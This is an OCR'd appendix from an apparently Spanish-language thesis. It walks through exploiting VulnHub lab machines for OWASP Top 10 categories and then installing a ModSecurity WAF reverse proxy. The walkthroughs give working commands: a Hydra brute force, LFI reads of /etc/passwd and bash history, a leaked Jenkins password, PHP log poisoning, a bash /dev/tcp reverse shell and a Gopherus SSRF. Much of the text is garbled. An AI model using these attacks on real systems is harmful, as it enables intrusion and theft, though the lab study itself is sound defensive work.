http://192.168.10.12/inferno. Al ingresar a la ruta se presenta una ventana de login

para la aplicacion (ver Figura A.52).

Figura A.49
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “INFERNO:1.1”

fhomefkall/Desktop/AB? 2021_Maquina_Inferno_VulnHub

GmbH
GmbH (DUP:
ik GmbH

ponded

Figura A.50

Escaneo de puertos abiertos en el servidor “INFERNO:1.1" con nmap

/home/kal1/Desktop/A07 2021_Maquina_Inferno_VulnHub/nmap
5000 f 192.168.10.12 )G Puertos_Abiertos
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-18 11:54 EDT
Nmap scan report for 192.168.10.12
Host is up (0.000076s latency).
Not shown: 65444 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 7.9p1 Debian 10+debl@u2 (protocol 2.0)
ssh-hostkey:
2048 82:f4:d2:47:74:86:2f:b4:94:62:cd:31:f6:ef:51:a4 (RSA)
256 01:e9:02:a3:ff:ff:4a:7b:f2:20:1e:0b:44:9d:7f:f7 (ECDSA)
_ 256 a5:dc:a7:b1:20:33: :8d:c7:dd:f1:a3:59:5d:c2:34 (ED25519)
23/tcp open telnet?
25/tcp open smtp?
_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain?
80/tcp open http Apache httpd 2.4.38 ((Debian))
| _http-title: Dante's Inferno
_http-server-header: Apache/2.4.38 (Debian)

Figura A.51
Verificacion de disponibilidad del servidor vulnerable “/INFERNO:1.1"

< G R O & 192.168.10.12 o @ 9

KaliLinux # KaliTools < Kali Docs \ Kah Forums e\ Kali NetHunter



http://192.168.10.12/inferno

Figura A.52
Verificacion de disponibilidad de la ruta http://192.168.10.12/inferno

. X @ Q 192.168.10.12/inferno © 9

Kali Linux 8 KaliTools ¢ KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB
@ 192.168.10.12
This site is asking you to sign in.
Username

| |

Password

Cancel

6. Desde el terminal se ejecuta un ataque de fuerza bruta para el usuario admin con la
herramienta Hydra mediante el comando hydra -1 admin -P
lusr/share/wordlists/rockyou.txt 192.168.10.12 http-get /inferno -t 60 para descubrir
si la contrasefia esta publicada en el diccionario rockyou.txt de Kali Linux (ver
Figura A.53).

Figura A.53
Ataque de fuerza bruta en el servidor “INFERNO:1.1" para el usuario admin

/home/kali/Desktop/A@7_2021_Maquina_Inferno_VulnHub/contenido
L admin /usr/share/wordlists/rockyou.txt 192.168.10.12 http-get /inferno

e do not use in mili y Or S
non-binding, these *** ignore

Hydra (https
[DA 60

ord: dantel

did not complete until end.

did not
ithub.c

7. Una vez encontrada la contrasefia del usuario admin mediante el ataque de fuerza
bruta, se verifica la veracidad de esta ingresando a la aplicacion web (ver
Figura A.54).
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Figura A.54

Verificacion de la contraseria del usuario admin en el servidor “INFERNO:1.1”

O & 192.168.10.12/in @ & =

KaliLinux # KaliTools < KaliDocs & KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB

B workspace
B .editorconfig

B .gitignore 4  Kent Safranski - @fluidbyte <kent@fluidbyte.net=
Tim Holum d Tlum
@lorefnon

B conTRIBUTING.md
B INSTALLEE ocialifecom <staff@newsocialife.com=

[ [y —— 2 e hili o - @holblin

and all the other contributors - Thanks!

& inferno
A08:2021 — Fallas en el software y en la integridad de los datos

Para este apartado se explota el servidor vulnerable “LEEROY:1” de la plataforma

VulnHub.
Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“LEEROY:1” disponible en el enlace https://www.vulnhub.com/entry/leeroy-
1,611/.

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable

(192.168.10.17) una vez integrado en el laboratorio de pruebas (ver Figura A.55).

Figura A.55
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “LEEROY:1"

/home/kali/Desktop/A@8_2021_Maquina_Leeroy_VulnHub
sudo I ethl local

Interface: ethl, type: EN1OMB, MAC: 08:00:27:2f:3a:a6, IPv4: 192.168.10.16

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.10.1 Pa:00:27:00:00:48 (Unknown: locally administered)

192.168.10.2 08:00:27:c0:b5:2f PCS Systemtechnik GmbH

192.168.10.2 08:00:27:24:17:f5 PCS Systemtechnik GmbH (DUP: 2)
192.168.10.17 08:00:27:2d:87:af PCS Systemtechnik GmbH

4 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.07@ seconds (123.67 hosts/sec). 3 responded

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.56).
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Figura A.56
Escaneo de puertos abiertos en el servidor “LEEROY:1” con nmap

/home/kali/Desktop/A88_2021_Maquina_Leeroy_VulnHub/nmap
i 55 f Min-T: 5008 I 19 .18.17 -o6G Puertos_Abiertos
: EDT

Mot shown:
PORT L SER
‘tcp open ssh

open http ngir

_http-title: Site doesn't ha
-header: ngin
/tcp open http

LDAPSearchReqg, Note 'C, S ; 5t a

4. En el navegador del cliente se escribe http://192.168.10.17 para verificar que el

servidor web vulnerable esté disponible (ver Figura A.57).

Figura A.57
Verificacion de disponibilidad del servidor vulnerable “LEEROY:1"

< C @ O & 192.168.10.17 o, @

KaliLinux #8 KaliTools « KaliDocs X KaliForums e\ Kali NetHunter Exploit-DB

b | . E
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5. En el navegador del cliente se escribe http://192.168.10.17:8080 para verificar que
la interfaz de login al servicio Jenkins alojado en el servidor web vulnerable esté

disponible (ver Figura A.58).

Figura A.58

Verificacion de disponibilidad de la interfaz de login del servicio Jenkins

o GG O A& 192.168.10.17:80¢ f ; w @ 90

KaliLinux &8 KaliTools ¢ KaliDocs X KaliForums e\ Kali NetHunter Exploit-DB

Welcome to Jenkins!

LJ‘;emame

Password

6. El servidor “LEERQY:1” presenta otra interfaz cuando resuelve http://leeroy.htb en
el puerto 13380, razdn por la que es necesario modificar el archivo /etc/hosts con la

direccion IP y alias de servidor (ver Figura A.59).

Figura A.59

Edicion del archivo /etc/hosts para incluir el alias leeroy.htb a la IP del servidor

File Actions Edit View Help

127.0.0.1 localhost
127.0.1.1 kali

ffo2::2 ip6-allrouters
192.168.10.17

- C @ O A leeroy.htb w @ N

KaliLinux # KaliTools ¢ KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB

a HOME ABOUT BLOG CONTACT
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7. Desde el terminal de la maquina atacante hacer una peticion GET con la
herramienta curl y filtrar el output para identificar los plugins que se ejecutan en
http://leeroy.htb:13380 (ver Figura A.60).

Figura A.60
Identificacidn de plugins en http://leeroy.htb:13380

fhnmefkallfﬂesktnpiﬁﬂs 2021 Haqu1na Leeroy_ ?ulnHuhf:untenldu
curl -5 -X . leeroy | A grep -oP 'pl ugins/\K Sort
bbpress

wp-with-spritz

8. El plugin spritz es vulnerable a un ataque del tipo Local File Inclusion. Mediante el
comando curl -s -X GET "http://leeroy.htb:13380/wp-content/plugins/wp-with-
spritz/wp.spritz.content.filter.php?url=/../../..l../letc/passwd™ | grep "sh$" se

enumera los usuarios del sistema en el servidor (ver Figura A.61).

Figura A.61
Enumeracion de usuarios por ataque LFI del plugin spritz en el servidor “LEEROY:1"

ihnmeikallfﬂesktn fABB 2021 Haqu1na Leero VulnHuhIcuntenldn

jenkins:/bin/ba

9. Mediante el comando curl -s -X GET "http://leeroy.htb:13380/wp-
content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../lhome/leer
oy/.bash_history" se accede al historial de instrucciones ingresadas por el usuario
leeroy en la bash, evidenciando la inclusion de una contrasefia sin cifrar en un
archivo de recopilacion de credenciales (ver Figura A.62).

10. En el panel de autenticacion de Jenkins en la url http://192.168.10.17:8080, se
ingresan las credenciales admin : z1n$AiIWY40HWeQ@KJ53P y se verifica el

acceso a la aplicacion (ver Figura A.63).
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Figura A.62
Enumeracion de instrucciones bash del usuario leeroy en el servidor “LEEROY:1"

/home/kali/Desktop/AB8_2021_Maquina_Leeroy_VulnHub/contenido
h ht Tt p

GET "ht Le t

ifconfig

apt-get update

ap-tget upgr

apt-get upgra

sudo apt-get install openjdk-8-jdk

sudo apt-get install nglnx

wget -q -0 - g, Jenki i i jenkins-ci.or | sudo apt-key add -

wget https://pkg.jenkins.io/debian-stable/binary/j 2 3_: deb -0 $1 --no-check-c
ertificate

sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/
jenkins.list’

sudo apt-get update

sudo apt i L1

echo " > /var/lib/jenkins/secrets/initialAdminPassword

sudo su

Figura A.63

Verificacion de la contrasefia del usuario admin en la aplicacion Jenkins

O & lor 192.168.10.17

Kali Linux 35 KaliTools = Ki gaye login for http://192.168.10.17:80807

& Jenkins Username
a"

admin

Jenkins

Password

& New ltem ZIn$AWY40HWeQ@KJS3P

& People

= Build History & sh

"’" Manage Jenkins Don'tsave Save
& My Views

A09:2021 — Fallas en el registro y monitoreo

Para este apartado se explota el servidor vulnerable “HA:NATRAJ” de la plataforma
VulnHub.

Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“HA:NATRAJ” disponible en el enlace https://www.vulnhub.com/entry/ha-
natraj,489/.
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2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable

(192.168.10.13) una vez integrado en el laboratorio de pruebas (ver Figura A.64).

Figura A.64
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “HA:NATRAJ”

/home/kali/Desktop/A@9_2021_Maquina_Natraj_VulnHub

do ar -T ethl —local
Interface: ethl, type: EN1OMB, MAC: 08:00:27:2f:3a:a6, IPv4: 192.168.10.150
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1 0a:00:27:00:00:48 (Unknown: locally administered)
192.168.10.2 08:00:27:24:17:f5 PCS Systemtechnik GmbH
192.168.10.2 08:00:27:c0:b5:2f PCS Systemtechnik GmbH (DUP: 2)
192.168.10.13 08:00:27:d7:0d:de PCS Systemtechnik GmbH

4 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.312 seconds (110.73 hosts/sec). 3 responded

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.65).

Figura A.65

Escaneo de puertos abiertos en el servidor “HA:NATRAJ” con nmap

/home/kali/Desktop/A@9_2021_Maquina_Natraj_VulnHub/nmap

0 > CV 1 c 5000 =§ 192.168.10.13 )G Puertos_Abiertos
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-20 17:36 EDT
Nmap scan report for 192.168.10.13
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6pl1 Ubuntu 4ubuntu®@.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:9f:da:f4:2e:67:01:92:d5:da:7f:70:d0:06:b3:92 (RSA)
| 256 bc:ea:f1:3b:fa:7¢c:05:0c:92:95:92:e9:e7:d2:07:71 (ECDSA)
|_ 256 f0:24:5b:7a:3b:d6:b7:94:c4:4b:fe:57:21:f8:00:61 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA:Natraj
| _http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:D7:0D:DE (Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit
/

Nmap done: 1 IP address (1 host up) scanned in 9.00 seconds

4. En el navegador del cliente se escribe http://192.168.10.13 para verificar que el
servidor web vulnerable esté disponible (ver Figura A.66).

5. Después de aplicar un proceso de listado de directorios y archivos se identifica la
ruta http://192.168.10.13/console/file.php.

6. Haciendo uso de la herramienta wfuzz se realiza una identificacion a nivel de
parametro mediante fuerza bruta al que se le pueda igualar con un archivo existente
en Linux para obtener una respuesta en la pantalla. EI comando a utilizar es wfuzz -

¢ --hh=0 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-
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medium.txt "http://192.168.10.13/consoleffile.php?FUZZ=/etc/passwd" (ver
Figura A.67).

Figura A.66
Verificacion de disponibilidad del servidor vulnerable “HA:NATRAJ”

#»  HA:Natraj X +

< C @ O A& 192.168.10.13 60% v )

KaliLinux # KaliTools = KaliDocs X KaliForums e\ Kali NetHunter Exploit-DB

Figura A.67
Descubrimiento de parametros para el archivo http://192.168.10.13/console/file.php

/home/kali/Desktop/A09_2021_Maquina_Natraj_VulnHub/contenido
ufuzz -c ) -t 200 -w /usr/share/SecLists/Di ery/ ontent/directory-list-2.3-
medium.txt "http 168.10.13/cc e/file.php?F etc d’
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled ag
ainst Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documen
tation for more information.
khkkkkkkkkhkkkhkhkhkhkhkhkhkhkhkhkhkhkhkkkkkkkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkkkkkhkkhkhkhkk

* Wfuzz 3.1.0 - The Web Fuzzer *
khkkkkhkkhkkhkhkkhkkhkhkhkhkkhkkhkhkhkhkkhkkhkhkhkhkkhkkhkhkkhkkhkkhkhkkhkkhkkhkhkkhkkhkk

Target: http://192.168.10.13/console/file.php?FUZZ=/etc/passwd
Total requests: 220560

Response Lines Word Payload

000000759: 200 2Tz 35 W 1398 Ch "file"
P00013881: 200 0L 0w @ Ch "help_rootview"
fusr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests.

7. Se verifica el parametro file encontrado en el paso 6 apuntando a la url
http://192.168.10.13/console/file.php?file=/etc/passwd, lo que hace sospechar de
vulnerabilidades tipo Local File Inclusion y Log Poisoning (ver Figura A.68).
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Figura A.68
Verificacion de parametro file en el archivo http://192.168.10.13/console/file.php

U & 192.168.10.13/console/file.phpfile=/etc/p 90% Ty ®@ 9

KaliLinux #& KaliTools = KaliDocs & KaliForums e Kali NetHunter Exploit-DB

root:x:0:0:Toot:/root:/bin/bash daemon:x:1:1:daemon:/usr/shin:fusr/shin/nologin bin:x:2:2:bin:/bin:
fusr/sbin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/nologin
lp:x:7:7:1p:/varfspool/lpd: /usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/varfspool/news:/usr/shin/nologin uucp:x:10:10:uucp:/var/spoolfuucp:/usr/shin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbhin/nologin list:x:38:38:Mailing List Manager:/var/list:
fusr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/monexistent:/usr/shin
/mologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin
/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbhin/nologin messagebus:x:103:107::/nonexistent:fusr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:109::/runfuuidd:/usr/shin/nologin
natraj:x:1000:1000:natraj,,,;/home/natraj:/bin/bash sshd:x:106:65534::/run/sshd:fusr/sbin/nologin
mahakal:x:1001:1001:,,,:/home/mahakal:/bin/bash

8. Como el servidor tiene abierto el puerto 22, desde el terminal se ejecuta una
conexion ssh que permita inyectar un comando mediante el parametro cmd en la url
(ver Figura A.69). La salida de la instruccion deseada se verifica en el la url
http://192.168.10.13/console/file.php?file=/var/log/auth.log concatenando &cmd=ip
a (ver Figura A.70).

Figura A.69

Conexidn ssh para ejecucion de comandos via log poisoning en el servidor

/home/kall/Desktop/AOQ 2021_Maquina_Natraj_VulnHub/contenido

_GET["ecmd"]); ?>'®192.168.10.13

<?php system($_GET["cmd"]); ?>@192.168.10.13"'s password:
Permission denied, please try again.

Figura A.70

Salida del comando “ip a” en los logs de las conexiones ssh /var/log/auth.log

<« C @ 192.168.10.13/console/file.phpfile flc 90% 7 &8 =N

KaliLinux # KaliTools <« KaliDocs & KaliForums e Kali NetHunter Exploit-DB

u1d (} eu1d 0 tty ssh ruser= rhost 192 168. 10 150 Oct 20 10 46 30 uhuntu sshd[1316] Falled

password for mvalld user 1 lo: mtu 65536 qd.lsc noqueue state UNKNOWN group default qlen 1000
: : .1/8 scope host lo valid

preferred Ift forever 1net6 lr‘ 128 scope host vallcl lft forever preferrecl Ift forever 2: enpOsl? mtu

1500 gdisc fq codel state UFP group default glen 1000 link/ether 08:00:27:d7:0d:de brd ff:ff-ff:f:ff:ff inet
192, 168 10.13/24 brd 192 168 10 255 scope glohal clynamic enp0s17 valid 1ft 345sec preferred 1ft

o : pam UNIX(CTON: SESS10N): Sesslon
upened fCII' user root by (uid=0) Oct 20 10: -’-L? 01 ubuntu CRON[1318]: pam_unix(cron:session): session
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9. Al verificar la interpretacion a nivel de comandos, en un terminal se pone en
escucha el puerto 1234 y desde el navegador se ingresa http://192.168.10.13
/console/file.php?file=/var/log/auth.log&cmd=bash -c¢ “bash -i >%26 [dev/tcp
/192.168.10.150/1234 0>%261" para establecer una shell reversa hacia la maquina

atacante. (ver Figura A.71).

Figura A.71
Establecimiento de una shell reversa desde el servidor “HA:NATRAJ”

/home/kali/Desktop/A09_2021_Maquina_Natraj_VulnHub
-nlvp 1234
listening on [any] 1234 ...
connect to [192.168.10.150] from (UNKNOWN) [192.168.10.13] 47438
bash: cannot set terminal process group (566): Inappropriate ioctl for device
bash: no job control in this shell
wwaw-datagubuntu: /var/vwww/html/console$

www-datagubuntu: /var/vww/html/console$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
2: enp@s17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fg_codel state UP group default
qlen 1000
link/ether 08:00:27:d7:0d:de brd ff:ff:ff:ff:ff:ff
inet 192.168.10.13/24 brd 192.168.10.255 scope global dynamic enp@s17
valid_1ft 524sec preferred_1ft 524sec
inet6 fe80::a00:27ff:fed7:dde/64 scope link
valid_1ft forever preferred_lft forever
ww-datagubuntu: /var/vww/html/console$ l

A10:2021 — Falsificacidn de solicitudes del lado del servidor (SSRF)

Para este apartado se explota el servidor vulnerable “HARRYPOTTER:NAGINI” de
la plataforma VulnHub.

Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“HARRYPOTTER:NAGINI” disponible en el enlace https://www.vulnhub.com
lentry/harrypotter-nagini,689/.

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable

(192.168.10.15) una vez integrado en el laboratorio de pruebas (ver Figura A.72).
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Figura A.72
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “HARRYPOTTER:

NAGINI™”

fhome/kali/Desktop/A10_2821_Maquina_Nagini_VulnHub
-1 ethl local
A Ef\]ll.’.‘IJ"lE MAC: @8

mlp—:‘4ﬂ|
4dm1n1;T=:ndl
GmbH
.2 : Systemtechnik GmbH (DUP: 2)
2.168.10.15 08: :0d: @5 CS Systemtechnik GmbH

s dropped by kernel
in 2.400 seconds (186.67 hosts/sec). 3 responded

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.73).

Figura A.73
Escaneo de puertos abiertos en el servidor “HARRYPOTTER:NAGINI” con nmap

/home/kall/Desktop/Aie 2021_Maquina_Nagini_VulnHub/nmap
in-rate 5000 -n -Pn 192.168.10.15 -0oG Puertos_Abiertos
Starting Nmap 7.94 ( https //nmap org ) at 2023-10-21 ©9:17 EDT
Nmap scan report for 192.168.10.15
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+debl@u2 (protocol 2.0)
ssh-hostkey:

2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)

256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)

256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)

_http-title: Site doesn't have a title (text/html).
_http-server-header: Apache/2.4.38 (Debian)
MAC Address: ©8:00:27:DD:@D:05 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

|
|
|
86/tcp open http Apache httpd 2.4.38 ((Debian))
|
|

Service detection performed. Please report any incorrect results at https://nmap.org/submit
£

Nmap done: 1 IP address (1 host up) scanned in 11.90 seconds

4. En el navegador del cliente se escribe http://192.168.10.15 para verificar que el
servidor web vulnerable esté disponible (ver Figura A.74).

5. Después de aplicar un proceso de listado de directorio se identifica la ruta
http://192.168.10.15/internalResourceFeTcher.php. Al ingresar a la ruta se presenta

la interfaz mostrada en la Figura A.75.
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Figura A.74
Verificacion de disponibilidad del servidor vulnerable “HARRYPOTTER:NAGINI

®  192.168.10.15/ S W

& G @ O A& 192.168.10.15 w @ g

KaliLinux # KaliTools ¢ KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB

Figura A.75
Verificacion de la url http://192.168.10.15/internalResourceFeTcher.php

h Resource Fetching Page ® + RV

<« C O A 192.168.10.15/internalResourceFeTcher php kg

KaliLinux # KaliTools = KaliDocs M KaliForums e\ Kali NetHunter Exploit-DB

Welcome to Internal Network Resource
Fetching Page

| | Fetch |

6. En la méaquina atacante se clona el repositorio https:/github.com/

tarunkant/Gopherus y se instala la herramienta Gopherus mediante el comando

Jinstall.sh.

7. Se ejecuta Gopherus para generar la peticion SSRF a la base de datos del servidor
para el usuario goblin obtenido de un proceso de enumeracion en la ruta
http://192.168.10.15/joomla (ver Figura A.76).
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Figura A.76

Generacion de peticion SSRF mediante la herramienta Gopherus

/home/.../Desktop/A10_2021_Maquina_Nagini_VulnHub/contenido/Gopherus
«ploit mysqgl

goblin
SHOW databases;

8. Enlainterfaz de la url http://192.168.10.15/internalResourceFeTcher.php se ingresa
la peticion SSRF generada con Gopherus en el paso 7 para listar las bases de datos
del servidor “HARRYPOTTER:NAGINI”. En la Figura A.77 se presenta la
respuesta a la peticion realizada con el nombre de las bases de datos

information_schema y jommla,

Figura A.77
Respuesta a la peticion SSRF generada con la herramienta Gopherus

< C @ O & 192.168.10.15/internalResourceFeTcher.php?url=c

KaliLinux #s KaliTools = KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB

Welcome to Internal Network Resource
Fetching Page

| |[Fetch]

€ 5.5.5-10.3.27-MariaDB-0+deb10ul!eZtW7M " n& & -6 &

1GQA2tul?5+wmysql native- - aSCHEMATASCHEMATA
DatabaseSCHEMA NAME] information schemajoomla®"
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ANEXO B: IMPLEMENTACION DE LA SOLUCION WAF MODSECURITY
APACHE COMO PROXY INVERSO EN AMBIENTE DE MAQUINA
VIRTUAL.

Para la instalacion y configuracion de la solucion WAF ModSecurity Apache como
proxy inverso en ambiente de maquina virtual se debe tener en cuenta los siguientes

requerimientos:

e Sistema operativo: CentOS 7 minimal, sin entorno grafico.
e Tamaiio de disco duro: 50 GB.

e Memoria RAM: 2 GB.

e Procesadores: 2.

e Limite de ejecucion por procesador: 100 %.

e Paquete del servidor web: Apache-2.4.6.

e Moddulos: mod_proxy_so y mod_security2.so.

e Paquete WAF: ModSecurity-2.9.6.

e Paquete CRS (Core Rule Set): CRS-3.3.4.

Una vez verificados los requisitos se procede a la ejecucion de los pasos detallados a

continuacion:

1. Instalacién y actualizacion del sistema operativo CentOS 7 minimal en una maquina
virtual.
2. Instalacion del paquete httpd que contiene el servidor web Apache mediante el

comando sudo yum install httpd (ver Figura B.1).

Figura B.1

Salida del comando sudo yum install httpd

[rootPlocalhost “1# sudo yum install httpd | head
Complementos cargados:fastestmirror

Loading mirror speeds from cached hostfile

= base: mirror.ueb.edu.ec

= extras: mirror.ueb.edu.ec

= updates: mirror.ueb.edu.ec

lesolviendo dependencias

—--> Ejecutando prueba de transacciom

--—> Paquete httpd.x86_64 B:2.4.6-99.el?.centos.1 debe ser instalado

j--> Procesando dependencias: httpd-tools = 2.4.6-99.el?.centos.1 para el paquete: htipd-Z.4.6-99.el?
.centos.1.xB6_64

--» Procesando dependencias: ~setcsmime.types para el pagquete: httpd-2.4.6-99.el?.centos.1.x86_64
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3. Verificacion de la version del paguete httpd instalado mediante el comando httpd -v

(ver Figura B.2).

Figura B.2
Salida del comando httpd -v

[root@localhost ~1# httpd -v
Berver version: ApachersZ.4.6 (CentD3)

Berver built: May 38 2823 14:081:11
[root@localhost “1# _

4. Verificacion de la disponibilidad del mddulo proxy _module mediante el comando
httpd -M (ver Figura B.3).

Figura B.3
Salida del comando httpd -M

[root@localhost ~1# httpd -M | grep “proxy"
AHBB558: httpd: Could not reliably determine the server’s fully qualified domain name, using localho
st . localdomain. Set the ’ServerName’ directive globally to suppress this message
proxy_module (shared)
proxy_a jp_module (shared)
proxy_balancer_module (shared)
proxy_commect_module (shared)
proxy_express_module (shared)
proxy_fecgi_module (shared)
proxy_fdpass_module (shared)
proxy_ftp_module (shared)
proxy_http_module (shared)
proxy_scgi_module (shared)
proxy_wstummel_module (shared)
[rootPlocalhost ~1#

5. Creacion de un archivo de configuracion en el servidor Apache para el proxy
inverso mediante el comando touch /etc/httpd/conf.d/test.conf en cuyo contenido se
debe configurar el nombre del WAF que hara de front ante las peticiones del cliente,

y la direccion IP del servidor web vulnerable (ver Figura B.4).

Figura B.4

Archivo de configuracion para proxy inverso

GHU nano 2.3.1 Fichero: ~etc/httpd-conf.d-test.conf

<UirtualHost =:88>
ServerName waf -utn.com.ec
ProxyPreserveHost On

ProxyFass ~ http:--192.168.18.4~
ProxyPazsReverse » http:--192.168.18.4~
<sUVirtualHost>

6. Edicion del archivo de configuracion del servidor Apache mediante el comando

nano /etc/httpd/conf/httpd.conf, incluyendo al final las lineas presentadas en la

94



Figura B.5 para cargar el modulo mod_proxy.so e incluir el archivo de configuracion

creado en el paso 5.

Figura B.5
Inclusién del médulo y configuracion para proxy inverso en el archivo httpd.conf

LoadModule proxy_module retc httpdsmodulessmod_proxy.so
<IfModule proxy_module’

Include retc/httpdrsconf .d-test.conf
<sIfModule>

7. Verificacion de la configuracién del servidor Apache mediante el comando
apachectl configtest (ver Figura B.6).

Figura B.6

Salida del comando apachectl configtest

[root@localhost ~1# apachectl configtest
AHBBS58: httpd: Could not reliably determine the server’s fully qualified domain name, using localho|

st.localdomain. Set the ’ServerHame’ directive globally to suppress this message
Syntax OK

8. Configuracion del firewall de CentOS 7 para permitir el paso del trafico http (ver
Figura B.7).

Figura B.7

Configuracion del firewall de CentOS 7 para el paso del trafico http

[root@localhost 71# sudo firewall-cmd —-permanent --add-service=http
SUCCESS

[root@localhost ~1# sudo firewall-cmd —-reload
SUCCESS

9. Reinicio y verificacion del estado del servicio httpd mediante los comandos

systemctl restart httpd y systemctl status httpd (ver Figura B.8).

Figura B.8

Salida de los comandos systemctl restart httpd y systemctl status httpd

[rootPlocalhost “1# systemctl restart httpd
[rootPlocalhost "1 systemctl status httpd
m httpd.service - The Apache HTTP Server
Loaded: loaded (rusr-librsystemd-ssystem-httpd.service: enabled: vendor preset: disabled)
Active: active (rumming) since sab 26823-@9-3@ 11:37:33 -B5; 58 ago
Docs: man:httpd(8)

man:apachect1(8)
Process: 1723 ExecStop=rbinskill -WINCH S{MAINPIDY (code=exited, status=B-SUCCESS)
Process: 1789 ExecReload=rusrrssbinshttpd SOPTIONS -k graceful (code=exited, status=B,SUCCESS)
t Main PID: 1728 C(httpd)
Status: "Processing reguests...”

10. Configuracion del proxy inverso en el navegador del cliente (S.0. Kali Linux) para

el procesamiento de las peticiones web (ver Figura B.9).
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Figura B.9

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Configure Proxy Access to the Internet

No proxy

Auto-detect proxy settings for this network
Use system proxy settings

Manual proxy configuration

HTTP Proxy | 192

11. Verificacion de conexion hacia el aplicativo web vulnerable desde el lado del
cliente, apuntando a la direccion waf-utn.com.ec previamente configurada en el

maodulo proxy inverso del servidor Apache detallado en el paso 5 (ver Figura B.10).

Figura B.10

Conexidn hacia el aplicativo web vulnerable desde el lado del cliente
td | [ qdPM | Login

@ waf-utn.com.ec w

KaliLinux & KaliTools # KaliDocs & KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Workspace

Welcome to gdPM

Remember Me

Password forgotten?

gdpm.net

12. Instalacién de dependencias requeridas por ModSecurity-2.9.6 mediante el comando
yum install httpd-devel pcre pcre-devel libxml2 libxml2-devel curl-devel libtool (ver
Figura B.11).
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Figura B.11

Instalacion de dependencias para ModSecurity-2.9.6

[root@localhost modsecurity-Z2.9.614 yum install httpd-devel pcre pcre-devel libxmlZ2 libxmlZ2-devel cu

ir1-devel libtool_

13. Descarga del paquete ModSecurity-2.9.6 del repositorio GitHub y descompresion

del archivo obtenido (ver Figura B.12).

Figura B.12
Descarga de ModSecurity-2.9.6 del repositorio GitHub

